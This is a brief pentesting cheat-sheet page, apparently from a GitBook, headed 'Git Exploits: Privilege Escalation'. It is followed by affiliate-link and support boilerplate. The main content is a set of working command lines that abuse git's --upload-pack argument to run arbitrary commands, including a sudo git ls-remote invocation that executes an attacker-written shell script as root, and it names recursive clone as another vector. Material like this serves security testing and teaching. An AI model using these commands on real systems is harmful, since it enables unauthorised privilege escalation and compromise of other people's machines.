Git

Git Exploits: Privilege Escalation

Argument injection - --upload-pack

git ls-remote '--upload-pack=id>/tmp/foo;' foo
$ echo 'ls /tmp > /tmp/ls.txt' > file.sh
$ sudo git ls-remote "--upload-pack=/bin/sh /tmp/file.sh"

git clone --recursive

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

Last updated